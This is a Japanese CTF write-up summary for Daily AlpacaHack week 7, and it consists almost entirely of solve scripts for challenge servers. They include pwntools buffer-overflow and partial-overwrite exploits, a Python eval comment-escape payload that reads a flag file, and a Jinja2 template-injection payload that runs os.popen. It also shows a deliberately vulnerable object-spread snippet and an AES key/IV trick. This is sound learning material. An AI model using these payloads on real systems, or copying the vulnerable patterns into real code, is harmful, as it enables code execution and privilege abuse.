Daily AlpacaHack Week7 (2026-1-12 ~ 2026-1-18)

Daily AlpacaHack の Writeup.
(2026/1/12 - 2026/1/18)

後から解いたものなど含むまとめ.

Basic Buffer Overflow (Pwn, 2026/1/12)

from pwn import *

elf = ELF("./chal")
context.binary = elf
win_addr = elf.symbols["win"]
main_addr = elf.symbols["main"]

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 19295".split()
    sh = remote(host, port)
else:
    sh = process()
    
prompt = sh.recvuntil("function:".encode())
print(prompt.decode())

pied_main_addr = int(sh.recvline().decode(), 16)

payload = "a".encode() * 0x40 # padding
payload += "b".encode() * 0x8 # rbp padding
payload += p64(pied_main_addr - main_addr + win_addr) # return to win
sh.sendline(payload)

sh.interactive()
        

I wanna be the Admin (Web, 2026/1/13)

users.set(user_data.username, {
    role: "guest",
    ...user_data,
});
        

free-comment (Misc, 2026/1/14)

print(eval(f"# {input('> ')}\n'Hi!'"))
        
from pwn import *

_, host, port = "nc 34.170.146.252 43354".split()

sh = remote(host, port)

prompt = sh.recvuntil(">".encode())
print(prompt.decode())

payload = b"\ropen(__import__('glob').glob('/flag*')[0]).read() +\\"

print(b"payload:", payload)
sh.sendline(payload)

sh.interactive()
        

Five Alpacas (Crypto, 2026/1/15)

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
from pwn import *

_, host, port = "nc 34.170.146.252 58209".split()
sh = remote(host, port)
prompt = sh.recvuntil("[DEBUG] key:".encode())
print(prompt.decode())

key = int(sh.recvline().decode(), 16)

print("key:", hex(key))

ALPACA = chr(129433).encode()

cipher = AES.new(key.to_bytes(16, byteorder="big"), AES.MODE_CBC, key.to_bytes(16, byteorder="big"))

padded_plaintext = pad(ALPACA*5, AES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)

prompt = sh.recvuntil("ciphertext (hex):".encode())
print(prompt.decode())

sh.sendline(ciphertext.hex().encode())

prompt = sh.recvuntil("IV (hex):".encode())
print(prompt.decode())

sh.sendline(format(key, "x").encode())

sh.interactive()
        

Short Writer (Pwn, 2026/1/16)

from pwn import *

elf = ELF("./chal")
context.binary = elf

win_lower = 0x11e9

for i in range(0xff):
    is_remote = True
    if is_remote:
        _, host, port = "nc 34.170.146.252 50663".split()
        sh = remote(host, port)
    else:
        #context.terminal = ["tmux", "splitw", "-h"]
        sh = process()
        gdb.attach(sh, gdbscript="""
    break __isoc99_scanf
    c
    """)
        
    prompt = sh.recvuntil("pos >".encode())
    print(prompt.decode())

    payload = str(-0xc).encode()

    sh.sendline(payload) # set address

    print("payload:", payload.decode())

    prompt = sh.recvuntil("val >".encode())
    print(prompt.decode())

    payload = str((win_lower + 0x1000) & 0xffff).encode()
    sh.sendline(payload)

    print("address payload:", hex(int(payload.decode())))

    sh.sendline("echo PWNED".encode())

    try:
        res = sh.recvuntil("PWNED".encode(), timeout=0.5)

        sh.interactive()
        
        exit()
    except EOFError:
        sh.close()
        continue
        

Base Length (Misc, 2026/1/17)

from pwn import *
from base64 import b32encode, b64encode

_, host, port = "nc 34.170.146.252 60350".split()
sh = remote(host, port)

base_bytes = "a".encode() * 30

prompt = sh.recvuntil("Base32:".encode())
print(prompt.decode())

sh.sendline(b32encode(base_bytes))

prompt = sh.recvuntil("Base64:".encode())
print(prompt.decode())

sh.sendline(b64encode(base_bytes) + b"                      ")

sh.interactive()
        

dice roll (Web, 2026/1/18)

template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
        
{7 * 7}
        
{{request.application.__globals__.builtins__.__import__('os').popen('ls').read()}}